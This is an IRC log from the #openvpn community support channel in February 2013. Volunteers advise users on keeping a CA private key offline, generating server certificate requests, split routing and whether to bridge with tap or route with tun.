20:00 < Devastator> I guess it's not clear from the pastebin, but I separated computer #1 (server) and computer #2 (offline, live distro, used to sign certs)
20:00 < pekster> Oh, sorry, step #6
20:01 < pekster> The PKI, including the private key, is now connected to your online server
20:01 < pekster> It's no longer completely offline at that point
20:01 < Devastator> indeed
20:01 < pekster> There's no reason you need to do that
20:02 < Devastator> well, easy to fix at least, I copy ca.crt from the offline to a non-critical usb stick, then paste to the server, then build-key-server, build-dh
20:02 < Devastator> and keep ca.key totally offline
20:03 < pekster> Better. Best is to generate key pairs on the server/client itself
20:03 < Devastator> I mean, build-key-server and build-dh will be typed on the server itself
20:03 < pekster> build-req is required
20:04 < Devastator> right
20:04 < pekster> build-key-server is for when you do the key generation *and* signing on the same host (not possible when your PKI is offline)
20:04 < pekster> build-key-server basically does build-req and sign-req --server "at once"
20:04 < pekster> (verses separation operations on different systems)
20:05 < Devastator> pekster you said something about server key pairs aren't passphrased or something, can't I use build-req-pass for server as well?
20:06 < pekster> Only if you want to supply the passphrase to your key every time you launch the server process
20:06 < pekster> If you start openvpn on boot, that doesn't work
20:06 < Devastator> indeed
20:06 < pekster> (it also likely won't work unless you use the management interface if you plan to call it out of init anyway)
20:06 < Devastator> I guess it's ok to build-req it then
20:07 < pekster> So no, for servers (openpvn, apache's httpd, etc) traditioanlly the key is unencrypted on disk. Sometimes it's stored on an encrypted disk volumme, but then someone still needs to decrypt it afer a reboot
20:07 < pekster> Some people encrypt the key and store the decryption in a text file, but that's sort of silly IMO
20:09 < pekster> Also, no need to "secure" the transport medium. You're free to delete the csr and crt files when you're done, but they aren't private. You could paste them all in a pastebin and it wouldn't hurt your cryptographic security
20:10 < pekster> (and your certs are sent in plaintext across the wire every time you connect to the VPN. Any attacker on the wire could recover the entire cert file this way)
20:15 <@krzee> wow that conversation is still going on?
20:15 <@krzee> <-- amazed!
20:16 <@krzee> its like watching a car burn rubber
20:17 <@krzee> then again, im hella blazed, bbl :D
20:19 < Devastator> krzee what can I do if I'm slow learner?
20:19 < Devastator> :(
20:19 <@krzee> you're good, im just mean dont worry about me ;]
20:20 < Devastator> I agree with you, I wish I was more.. careless
20:25  * Devastator is afraid to paste his last pastebin.. don't wanna push some buttons
20:33 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 240 seconds]
20:50 -!- mattwj2002 [~Matt@wikisource/pdpc.active.mattwj2002] has joined #openvpn
20:50 -!- mattwj2002 [~Matt@wikisource/pdpc.active.mattwj2002] has left #openvpn []
21:14 -!- Netsplit *.net <-> *.split quits: js_, hive-mind, Devastator, folivora, defswork, piele, jave, fatpony, nameless`, dvl,  (+155 more, use /NETSPLIT to show all of them)
21:52 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Remote host closed the connection]
22:27 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
22:27 -!- Aketzu [akolehma@kelvin.aketzu.net] has joined #openvpn
22:27 -!- andi [~andi@unaffiliated/fr00d] has joined #openvpn
22:27 -!- Shadowized [~Shadowize@st0p.trying.to.trac3.me] has joined #openvpn
22:27 -!- NChief_ [tomme@unaffiliated/nchief] has joined #openvpn
22:27 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
22:27 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn
22:27 -!- pekster [~rewt@cl-466.chi-03.us.sixxs.net] has joined #openvpn
22:27 -!- havoc [~havoc@neptune.chaillet.net] has joined #openvpn
22:27 -!- mete [~mete@mete.shell.la] has joined #openvpn
22:27 -!- midgaze [~mreid@155.229.21.75] has joined #openvpn
22:27 -!- WDKevin [~WDKevin@173-163-136-177-centralpennsylvania.hfc.comcastbusiness.net] has joined #openvpn
22:27 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
22:27 -!- y4h0 [~yavor@78.128.23.17] has joined #openvpn
22:27 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
22:27 -!- `nand` [~nand@static.102.126.46.78.clients.your-server.de] has joined #openvpn
22:27 -!- roue [~roue@96-42-92-237.dhcp.roch.mn.charter.com] has joined #openvpn
22:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
22:27 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
22:27 -!- william_ [~x@lotus.redl8.com] has joined #openvpn
22:27 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
22:27 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
22:27 -!- peper [~peper@node.piotrj.org] has joined #openvpn
22:27 -!- ngharo [~ngharo@shepard.sypherz.com] has joined #openvpn
22:27 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
22:27 -!- con3x [~pkinnaird@kobol.geeksoc.org] has joined #openvpn
22:27 -!- paccer [uid4847@gateway/web/irccloud.com/x-iggwqzmrrmnhkcai] has joined #openvpn
22:27 -!- kirin` [telex@gateway/shell/anapnea.net/x-uvulotxunalwtwsa] has joined #openvpn
22:27 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
22:27 -!- cirdan [~chris@c-69-248-228-142.hsd1.nj.comcast.net] has joined #openvpn
22:27 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
22:27 -!- ServerMode/#openvpn [+ooov plaisthos mattock raidz_away hazardous] by calvino.freenode.net
22:27 -!- EugeneKay [eugene@madeitwor.se] has joined #openvpn
22:27 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
22:27 -!- nutcase [~nutcase@unaffiliated/nutcase] has joined #openvpn
22:27 -!- bandroidx [~bandroidx@2605:6400:2:fed5:4:0:414:11] has joined #openvpn
22:27 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has joined #openvpn
22:27 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
22:27 -!- fys [~fys@108-65-116-255.lightspeed.austtx.sbcglobal.net] has joined #openvpn
22:27 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
22:27 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has joined #openvpn
22:27 -!- brute11k [~brute11k@89.249.235.89] has joined #openvpn
22:27 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn
22:27 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
22:27 -!- |Mike| [mike@2001:0:53aa:64c:28ac:7181:2b66:b9f1] has joined #openvpn
22:27 -!- mjixx [~markus@80.67.14.31] has joined #openvpn
22:27 -!- troyt [~troyt@2001:1938:240:3000::3] has joined #openvpn
22:27 -!- ServerMode/#openvpn [+o vpnHelper] by calvino.freenode.net
22:27 -!- dioz [~dioz@2001:470:d:e3::1] has joined #openvpn
22:27 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn
22:27 -!- DBordello [~DBordello@unaffiliated/dbordello] has joined #openvpn
22:27 -!- tyteen4a03 [~T4@n218250226180.netvigator.com] has joined #openvpn
22:27 -!- gardar [~gardar@gardar.net] has joined #openvpn
22:27 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
22:27 -!- walp [~nobody@unaffiliated/walp] has joined #openvpn
22:27 -!- master_of_master [~master_of@p57B532CC.dip.t-dialin.net] has joined #openvpn
22:27 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
22:27 -!- folivora [~out@46.19.34.64] has joined #openvpn
22:27 -!- M-Technic [~voltron@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
22:27 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
22:27 -!- thermoman [~thermoman@idle.foobar0815.de] has joined #openvpn
22:27 -!- erry [erry@freenode/staff/erry] has joined #openvpn
22:27 -!- kisom [~kisom@c-75dce155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn
22:27 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
22:27 -!- Sickness\ [~stront@unaffiliated/s-work] has joined #openvpn
22:27 -!- hid3 [~arnoldas@78.157.71.116] has joined #openvpn
22:27 -!- uuuppz_ [uuuppz@78.129.207.46] has joined #openvpn
22:27 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:27 -!- Rienzilla [rien@sinas.rename-it.nl] has joined #openvpn
22:27 -!- ChauffeR [squirrel@has.a.fluffy.redtail.it] has joined #openvpn
22:27 -!- MorgyN [~mig@island.morgyn.org] has joined #openvpn
22:27 -!- inimino [~inimino@oftn/board/inimino] has joined #openvpn
22:27 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
22:27 -!- kjs [kjs@fedora/kjs] has joined #openvpn
22:27 -!- js_ [~js@li503-152.members.linode.com] has joined #openvpn
22:27 -!- oskie [~usel@h-254-83.a218.priv.bahnhof.se] has joined #openvpn
22:27 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
22:27 -!- nullsign [~nullsign@daedalus.genom.com] has joined #openvpn
22:27 -!- DaCheat_ [JMark@external.JmarkIT.com] has joined #openvpn
22:27 -!- dvl [~dan@pdpc/supporter/active/dvl] has joined #openvpn
22:27 -!- [Xaronic] [~Xaronic]@occupyuk.co.uk] has joined #openvpn
22:27 -!- novaflash [~novaflash@openvpn/corp/support/novaflash] has joined #openvpn
22:27 -!- b00gz_ [uid6869@gateway/web/irccloud.com/x-yssobzmevvtknuoq] has joined #openvpn
22:27 -!- parmegv [U2FsdGVkX1@ma.sdf.org] has joined #openvpn
22:27 -!- soapee01 [~soapee01@24-155-219-177.dyn.grandenetworks.net] has joined #openvpn
22:27 -!- lbft [~lbft@199.195.249.177] has joined #openvpn
22:27 -!- zz_AsadH [~AsadH@unaffiliated/asadh] has joined #openvpn
22:27 -!- syzzer [~steffan@50709F7C.static.ziggozakelijk.nl] has joined #openvpn
22:27 -!- colo-work [~jt@78.142.138.4] has joined #openvpn
22:27 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
22:27 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
22:27 -!- jY [~jy@photoblog.com] has joined #openvpn
22:27 -!- cherwin [~cherwin@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:27 -!- phantomcircuit [~phantomci@covertinferno.org] has joined #openvpn
22:27 -!- ServerMode/#openvpn [+o novaflash] by calvino.freenode.net
22:27 -!- digilink [~digilink@unaffiliated/digilink] has joined #openvpn
22:27 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
22:27 -!- JackWinter [~jack@vodsl-4655.vo.lu] has joined #openvpn
22:27 -!- kingtuna [~tuna@173-162-122-197-miami.hfc.comcastbusiness.net] has joined #openvpn
22:27 -!- spitf1r3 [~quassel@89.200.144.70] has joined #openvpn
22:27 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
22:27 -!- catsup [~d@64.111.123.163] has joined #openvpn
22:27 -!- cmelbye [~charlie@yourwiki/staff/charlie] has joined #openvpn
22:27 -!- kothog [~kothog@unaffiliated/kothog] has joined #openvpn
22:27 -!- batrick [~batrick@nmap/developer/batrick] has joined #openvpn
22:27 -!- corretico [~luis@190.211.93.38] has joined #openvpn
22:27 -!- kloeri [~kloeri@freenode/staff/exherbo.kloeri] has joined #openvpn
22:27 -!- nameless` [~nameless@u1c.eu] has joined #openvpn
22:27 -!- scoates [~sean@iconoclast.caedmon.net] has joined #openvpn
22:27 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
22:27 -!- rkantos [robin@4e.fi] has joined #openvpn
22:27 -!- deed02392 [~deed02392@ks353738.kimsufi.com] has joined #openvpn
22:27 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
22:27 -!- Vorik [~quassel@D97950AD.cm-3-2b.dynamic.ziggo.nl] has joined #openvpn
22:27 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
22:27 -!- p0rk [~d0dger@pa-67-235-87-119.dhcp.embarqhsd.net] has joined #openvpn
22:27 -!- TheLaw [~law@irc.l4w.info] has joined #openvpn
22:27 -!- defswork [~andy@141.0.50.105] has joined #openvpn
22:27 -!- Burgundy [~burgundy@5-12-190-68.residential.rdsnet.ro] has joined #openvpn
22:27 -!- benedikt [~benedikt@unaffiliated/benedikt] has joined #openvpn
22:27 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
22:27 -!- Jonathan__ [~Jonathan@c-24-11-161-203.hsd1.mi.comcast.net] has joined #openvpn
22:27 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
22:27 -!- JyZyXEL [~foo@a88-112-73-201.elisa-laajakaista.fi] has joined #openvpn
22:27 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
22:27 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
22:27 -!- RichardBronosky [~RichardBr@ec2-50-17-28-78.compute-1.amazonaws.com] has joined #openvpn
22:27 -!- uberushaximus [~uberushax@shepard.sypherz.com] has joined #openvpn
22:27 -!- Erawan_RN [~Erawan@unaffiliated/erawanarifnugroh] has joined #openvpn
22:27 -!- zeroXten [~zeroXten@0x10.co.uk] has joined #openvpn
22:27 -!- CEnnis91 [uid3543@gateway/web/irccloud.com/x-jwtrifiamymywmib] has joined #openvpn
22:27 -!- Fiouz_ [~Fiouz@2a01:e0b:1:68:240:63ff:fee6:924b] has joined #openvpn
22:27 -!- ihptru [~ihptru@2a02:2770::21a:4aff:fef3:cdbb] has joined #openvpn
22:27 -!- Martin` [martin@2001:16f8:2:10::215] has joined #openvpn
22:27 -!- Champi [Champi@rootshell.fr] has joined #openvpn
22:27 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
22:27 -!- sam1 [~sam@194-236-182-101.customer.telia.com] has joined #openvpn
22:27 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn
22:27 -!- kenyon [kenyon@darwin.kenyonralph.com] has joined #openvpn
22:27 -!- nickanderson_afk [~cmdln@ginger.pilgrimpage.com] has joined #openvpn
22:27 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has joined #openvpn
22:27 -!- ServerMode/#openvpn [+o dazo_afk] by calvino.freenode.net
22:27 -!- Pei [pei@2600:3c00::f03c:91ff:feae:5e2d] has joined #openvpn
22:27 -!- b00b [~spunk@smurf.mmnetworks.se] has joined #openvpn
22:27 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
22:27 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
22:27 -!- echinos_ [~echinos@67.196.136.211] has joined #openvpn
22:27 -!- zamba [marius@flage.org] has joined #openvpn
22:27 -!- Varazir [~mircwars@c-94-255-128-179.cust.bredband2.com] has joined #openvpn
22:27 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
22:27 -!- Wintereise [~reise@unaffiliated/wintereise] has joined #openvpn
22:27 -!- C-S-B [~C-S-B@host81-157-117-86.range81-157.btcentralplus.com] has joined #openvpn
22:27 -!- fatpony [~fatpony@88-190-211-231.rev.dedibox.fr] has joined #openvpn
22:27 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
22:27 -!- Thermi [~Thermi@HSI-KBW-078-043-018-016.hsi4.kabel-badenwuerttemberg.de] has joined #openvpn
22:27 -!- Saviq [~Saviq@canonical/saviq] has joined #openvpn
22:28 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has joined #openvpn
22:28 -!- joshie [~josh@75-150-76-129-NewEngland.hfc.comcastbusiness.net] has joined #openvpn
22:28 -!- BtbN [~btbn@btbn.de] has joined #openvpn
22:28 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
22:28 -!- _quadDamage [~EmperorTo@boom.blissfulidiot.com] has joined #openvpn
22:28 -!- simcop2387 [~simcop238@p3m/member/simcop2387] has joined #openvpn
22:28 -!- [fred] [fred@konfuzi.us] has joined #openvpn
22:28 -!- piele [~Unknown@bakzeil.creativeserver.net] has joined #openvpn
22:28 -!- pwrcycle [~pwrcycle@173.214.160.92] has joined #openvpn
22:28 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
22:28 -!- zu [~zu@ks387228.kimsufi.com] has joined #openvpn
22:28 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
22:28 -!- swiftkey [swiftkey@unaffiliated/swiftkey] has joined #openvpn
22:28 -!- pnielsen [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
22:28 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
22:28 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
22:28 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
22:28 -!- pekster [~rewt@cl-466.chi-03.us.sixxs.net] has quit [Changing host]
22:28 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn
22:28 -!- peper [~peper@node.piotrj.org] has quit [Max SendQ exceeded]
22:28 -!- Cr4zi3 [killaz@staff.xbins.org] has quit [Excess Flood]
22:28 -!- Cr4zi3 [killaz@staff.xbins.org] has joined #openvpn
22:28 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Max SendQ exceeded]
22:28 -!- ppr [~peper@gentoo/developer/peper] has joined #openvpn
22:28 -!- sauce [sauce@ool-ad02ad20.dyn.optonline.net] has quit [Changing host]
22:28 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
22:28 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has joined #openvpn
22:28 -!- Olipro [~Olipro@d.e.r.p.6.a.1.0.d.d.0.7.2.0.1.0.a.2.ip6.arpa] has quit [Changing host]
22:28 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
22:32 -!- kirin` [telex@gateway/shell/anapnea.net/x-uvulotxunalwtwsa] has quit [Ping timeout: 276 seconds]
22:33 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has quit [Read error: Connection reset by peer]
22:33 -!- kirin` [telex@gateway/shell/anapnea.net/x-hryuvdfbqaqdnpes] has joined #openvpn
22:33 -!- jtrucks [jtrucks@freenode/staff/lopsa.board.jtrucks] has joined #openvpn
22:35 < nutcase> Is it possible to only send certain traffic over the VPN?
22:36 < pekster> nutcase: Either define routes to specific hosts/networks, or use policy routing to use whatever detection your OS supports to choose the gateway
22:38 < nutcase> hm
22:38 < nutcase> It might just be easier to run a VM for the vpn lol
22:39 < pekster> LARTC's howto can give you an intro to policy routing on Linux. Other OS's have different ways to do that
22:39 -!- kirin` [telex@gateway/shell/anapnea.net/x-hryuvdfbqaqdnpes] has quit [Ping timeout: 255 seconds]
22:40 < pekster> Windows, for instance, doesn't have any support unless you pay for one of their advanced server operating systems ;)
22:40 < pekster> (yes, that's how they "reward" you for buying a $200 Windows 8 Professional edition ;)
22:40 < uberushaximus> I thought it was more than that
22:40 -!- kirin` [telex@gateway/shell/anapnea.net/x-wbaexttbrbduwkdu] has joined #openvpn
22:40 < pekster> That's the US price anyway
22:40 < uberushaximus> isn't that just the core to pro upgrade?
22:41 < pekster> Oh, maybe. I dunno. There was some $40 upgrade deal that ended on 1/31 for XP through Win7 users. I didn't feel like feeding the troll more money for an OS that, under the hood, hasn't really changed since Vista SP1
22:42 < uberushaximus> indeed
22:42 < pekster> They added NFS support, native iso mounting, and stopped a few services from running at boot. But now they need people to upgrade so they can get more support for Metro that they're betting bank on
22:42 < pekster> It's just dumb
22:42 < pekster> Anyway, no policy routing there either, at least not without fancy 3rd party tools
22:42 < pekster> :)
22:46 -!- kirin` [telex@gateway/shell/anapnea.net/x-wbaexttbrbduwkdu] has quit [Ping timeout: 256 seconds]
22:47 -!- kirin` [telex@gateway/shell/anapnea.net/x-chfswjelxyrqjskf] has joined #openvpn
22:48 < Devastator> oh well..
22:48 < Devastator> time for me to rest.. this thing is driving me nuts heheh
22:53 -!- kirin` [telex@gateway/shell/anapnea.net/x-chfswjelxyrqjskf] has quit [Ping timeout: 264 seconds]
22:54 -!- kirin` [telex@gateway/shell/anapnea.net/x-bycvgppbjdznazft] has joined #openvpn
22:56 < Devastator> at least I think I'm doing the right thing now..
23:14 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has quit [Ping timeout: 240 seconds]
23:20 -!- sauce [sauce@unaffiliated/sauce] has quit [Ping timeout: 246 seconds]
23:24 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has joined #openvpn
23:44 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has quit [Ping timeout: 240 seconds]
23:50 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has joined #openvpn
--- Day changed Fri Feb 08 2013
00:11 -!- Matir [~matir@ubuntu/member/matir] has joined #openvpn
01:33 -!- clu5ter [~staff@unaffiliated/clu5ter] has quit [Ping timeout: 245 seconds]
01:34 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
01:37 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
01:57 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:01 -!- niervol [~krystian@193.106.244.150] has quit [Quit: Leaving.]
02:11 -!- kothog [~kothog@unaffiliated/kothog] has quit [Ping timeout: 244 seconds]
02:15 -!- kothog [~kothog@S0106001d7d131fa4.gv.shawcable.net] has joined #openvpn
02:15 -!- kothog [~kothog@S0106001d7d131fa4.gv.shawcable.net] has quit [Changing host]
02:15 -!- kothog [~kothog@unaffiliated/kothog] has joined #openvpn
02:18 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
02:44 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
02:44 -!- sauce [sauce@unaffiliated/sauce] has quit [Excess Flood]
02:46 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
02:46 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
02:52 -!- zz_AsadH is now known as AsadH
03:18 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:22 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Read error: Connection reset by peer]
03:23 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has joined #openvpn
03:33 -!- dazo_afk is now known as dazo
03:38 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
04:35 -!- p3rror [~mezgani@2001:0:53aa:64c:1889:2fc2:d673:9d81] has joined #openvpn
04:38 -!- kothog [~kothog@unaffiliated/kothog] has quit [Read error: Operation timed out]
04:39 -!- kothog [~kothog@S0106001d7d131fa4.gv.shawcable.net] has joined #openvpn
04:39 -!- kothog [~kothog@S0106001d7d131fa4.gv.shawcable.net] has quit [Changing host]
04:39 -!- kothog [~kothog@unaffiliated/kothog] has joined #openvpn
04:53 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Ping timeout: 264 seconds]
04:55 -!- deed02392 [~deed02392@ks353738.kimsufi.com] has quit [Read error: Connection reset by peer]
05:01 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has quit [Ping timeout: 252 seconds]
05:03 -!- AsadH is now known as zz_AsadH
05:14 -!- JyZyXEL [~foo@a88-112-73-201.elisa-laajakaista.fi] has left #openvpn ["WeeChat 0.4.0-dev"]
05:16 -!- VunKruz [~hhhh@108-206-230-100.lightspeed.irvnca.sbcglobal.net] has joined #openvpn
05:24 -!- RealRancor [~Rancor@mafiaforum.de] has joined #openvpn
05:42 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 260 seconds]
05:44 -!- sw0rdfish [sw0rdfish@bouncing.users.since.2011.panicbnc.org] has quit [Changing host]
05:44 -!- sw0rdfish [sw0rdfish@unaffiliated/sw0rdfish] has joined #openvpn
05:53 -!- [Xaronic] is now known as ForkingH1tl3r
06:05 -!- zz_AsadH is now known as AsadH
06:06 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:31 -!- k1ng [~k1ng@unaffiliated/k1ng] has quit [Read error: Connection timed out]
06:32 -!- k1ng [~k1ng@unaffiliated/k1ng] has joined #openvpn
06:36 -!- ForkingH1tl3r is now known as [Xaronic]
06:45 -!- sauce [sauce@unaffiliated/sauce] has joined #openvpn
06:50 -!- p3rror [~mezgani@2001:0:53aa:64c:1889:2fc2:d673:9d81] has quit [Ping timeout: 245 seconds]
06:57 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
07:02 -!- master_of_master [~master_of@p57B532CC.dip.t-dialin.net] has quit [Ping timeout: 245 seconds]
07:03 -!- p3rror [~mezgani@2001:0:53aa:64c:3844:2fc2:d606:77cf] has joined #openvpn
07:04 -!- master_of_master [~master_of@p57B520BD.dip.t-dialin.net] has joined #openvpn
07:30 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 255 seconds]
07:31 -!- [Xaronic] is now known as Sp00n
07:31 -!- Sp00n [~Xaronic]@occupyuk.co.uk] has quit [Disconnected by services]
07:31 -!- [Xaronic] [~Xaronic]@occupyuk.co.uk] has joined #openvpn
07:36 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
07:36 -!- Holiday [~rjr162@128.118.15.39] has joined #openvpn
07:37 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
07:42 < Holiday> quick question... I'm doing tap mode and setting up a the ethernet bridge via a bash script.. the br0 address is the same as the physical ethernet device, but the tap0 doesn't only lists an ipv6 address.. should it also have an IP/gateway/etc or does that appear when someone connects?
07:44 <@plaisthos> when using bridges only the bridge should have ip addresse, the members should have none
07:45 < Holiday> okay sweet. I wanted to double check before I proceeded with the test
07:48 -!- Holiday [~rjr162@128.118.15.39] has quit [Read error: Connection reset by peer]
07:48 -!- Holiday [~rjr162@128.118.15.39] has joined #openvpn
07:49 <@dazo> Holiday: why do you bridge?
07:50 -!- dazo changed the topic of #openvpn to: OpenVPN Community Support Channel || PLEASE read entire topic || OpenVPN RELEASED FOR ANDROID! || Current Release: 2.3.0 (08-Jan-2013) || First time? Use !welcome and !goal || Access-Server? /join #openvpn-as || We're not psychic - please !paste your !configs and !logs and a description of the issue || Bridging? Yes, we will ask you why you do that many times! || Your problem is probably
07:51 < havoc> dazo: looks like topic got truncated
07:51 <@dazo> crap!
07:51 < havoc> ending with: "...|| Your problem is probably"
07:51 -!- dazo changed the topic of #openvpn to: OpenVPN Community Support Channel || PLEASE read entire topic || OpenVPN RELEASED FOR ANDROID! || Current Release: 2.3.0 (08-Jan-2013) || First time? Use !welcome and !goal || Access-Server? /join #openvpn-as || We're not psychic - please !paste your !configs and !logs and a description of the issue  || Your problem is probably firewall, Really ||Not a native English speaker? say so!
07:52 -!- dazo changed the topic of #openvpn to: OpenVPN Community Support Channel || PLEASE read entire topic || OpenVPN RELEASED FOR ANDROID! || Current Release: 2.3.0 (08-Jan-2013) || First time? Use !welcome and !goal || Access-Server? /join #openvpn-as || We're not psychic - please !paste your !configs and !logs and a description of the issue  || Your problem is probably firewall, Really ||Not a native English speaker? say so!
07:52 <@dazo> could probably just change that truncation to say: Your problem is probably you .... :-P
07:52 < havoc> Did you want a space after the '||' in "||Not a native English speaker?" ?
07:52 < rob0> haha
07:52 -!- Holiday [~rjr162@128.118.15.39] has quit [Read error: Connection reset by peer]
07:52 -!- dazo changed the topic of #openvpn to: OpenVPN Community Support Channel || PLEASE read entire topic || OpenVPN RELEASED FOR ANDROID! || Current Release: 2.3.0 (08-Jan-2013) || First time? Use !welcome and !goal || Access-Server? /join #openvpn-as || We're not psychic - please !paste your !configs and !logs and a description of the issue  || Your problem is probably firewall, Really || Not a native English speaker? say so!
07:53 -!- Holiday [~rjr162@128.118.15.39] has joined #openvpn
07:53 < Holiday> Well, I figured that would be the best option for what we're doing (but it may not be)
07:53 < havoc> dazo: :)
07:53 < rob0> !tunortap
07:53 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
07:53 <@dazo> Holiday: why do you think it is the best option?
07:53 <@vpnHelper> over the vpn or (#4) lan gaming? use tap!
07:54 <@plaisthos> dazo: you could add iOS to OpenVPN RELEASED FOR ANDROID!
07:54 <@dazo> plaisthos: nah ... I don't see the source for that one ;-)
07:54 < Holiday> dazo: initially the other guy I'm working with on this was trying to get an IPsec/L2TP vpn going (but that's just a pain in the butt) so I'm trying openvpn and from what I read the tap + bridge may be the best setup
07:55 <@dazo> Holiday: that is not telling my why bridging is best
07:55 < Holiday> dazo: he's trying to keep the clients in an IP range (.127 to .145) that's in the same subnet as the server
07:55 <@dazo> Holiday: why?
07:55 <@plaisthos> dazo: I think the OpenVPN RELEASED FOR ANDROID was added when OpenVPN Connect hit the Play Store ;)
07:55 < Holiday> dazo: he's stubborn and has his reasons lol (plus they're a bit funky about private IP's here)
07:56 <@dazo> Holiday: non-bridge doesn't mean you don't control the VPN IPs
07:56 <@dazo> Holiday: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
07:56 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
